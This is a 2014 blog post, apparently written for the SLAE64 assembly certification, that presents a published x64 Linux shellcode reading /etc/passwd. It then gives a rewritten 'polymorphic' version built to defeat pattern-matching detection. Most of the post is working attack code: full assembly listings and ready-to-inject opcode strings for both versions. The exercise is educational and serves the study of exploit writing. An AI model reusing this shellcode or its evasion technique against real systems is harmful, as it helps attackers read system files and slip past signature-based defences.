Sunday, December 21, 2014

x64 Linux Polymorphic read file shellcode

There is a read file shellcode on shell-storm that is used to read the /etc/passwd file. On Linux, this lists users and groups and such, however password hashes are actually stored inside of the /etc/shadow file. Regardless, here is the contents of the shellcode:

BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start

section .text

_start:
    jmp _push_filename
  
_readfile:
; syscall open file
    pop rdi ; pop path value
    ; NULL byte fix
    xor byte [rdi + 11], 0x41
      
    xor rax, rax
    add al, 2
    xor rsi, rsi ; set O_RDONLY flag
    syscall
      
; syscall read file
    sub sp, 0xfff
    lea rsi, [rsp]
    mov rdi, rax
    xor rdx, rdx
    mov dx, 0xfff; size to read
    xor rax, rax
    syscall
  
; syscall write to stdout
    xor rdi, rdi
    add dil, 1 ; set stdout fd = 1
    mov rdx, rax
    xor rax, rax
    add al, 1
    syscall
  
; syscall exit
    xor rax, rax
    add al, 60
    syscall
  
_push_filename:
    call _readfile
    path: db "/etc/passwdA"

This comes out to 82 bytes.

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

Here are the same system calls with the logic in a different fashion, which will defeat basic pattern matching.

_start:

filename:
    xor esi, esi
    mul esi

    push rdx    ; '\0'

    mov rcx, 0x6477737361702f63  ; 'c/passwd'
    push rcx

    mov rcx, 0x74652f2f2f2f2f2f  ; '//////et'
    push rcx

openfile:
    push rsp
    pop rdi

    mov al, 0x2
    syscall

readfile:
    push rax
    pop rdi
    
    push rsp
    pop rsi
    
    push rdx
    push rdx        ; saving lots of 0's
    push rdx
    push rdx
    pop rax
    mov dx, 0x999
    syscall

write:
    pop rdi
    inc edi
    
    push rax
    pop rdx
    pop rax
    inc eax
    syscall

leave:
    pop rax
    mov al, 60
    syscall

The original code uses lots of mov operations, whereas this version accomplishes the same using the stack. Instead of using add to set RAX, it uses mov (although it could again also use the stack). The way a pointer to the string is obtained is also much different.

The final version comes out to 63 bytes, which is shorter than the original shellcode. This means we could add NOPs to be even more polymorphic.

\x31\xf6\xf7\xe6\x52\x48\xb9\x63\x2f\x70\x61\x73\x73\x77\x64\x51\x48\xb9\x2f\x2f\x2f\x2f\x2f\x2f\x65\x74\x51\x54\x5f\xb0\x02\x0f\x05\x50\x5f\x54\x5e\x52\x52\x52\x52\x58\x66\xba\x99\x09\x0f\x05\x5f\xff\xc7\x50\x5a\x58\xff\xc0\x0f\x05\x58\xb0\x3c\x0f\x05

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

No comments :

Post a Comment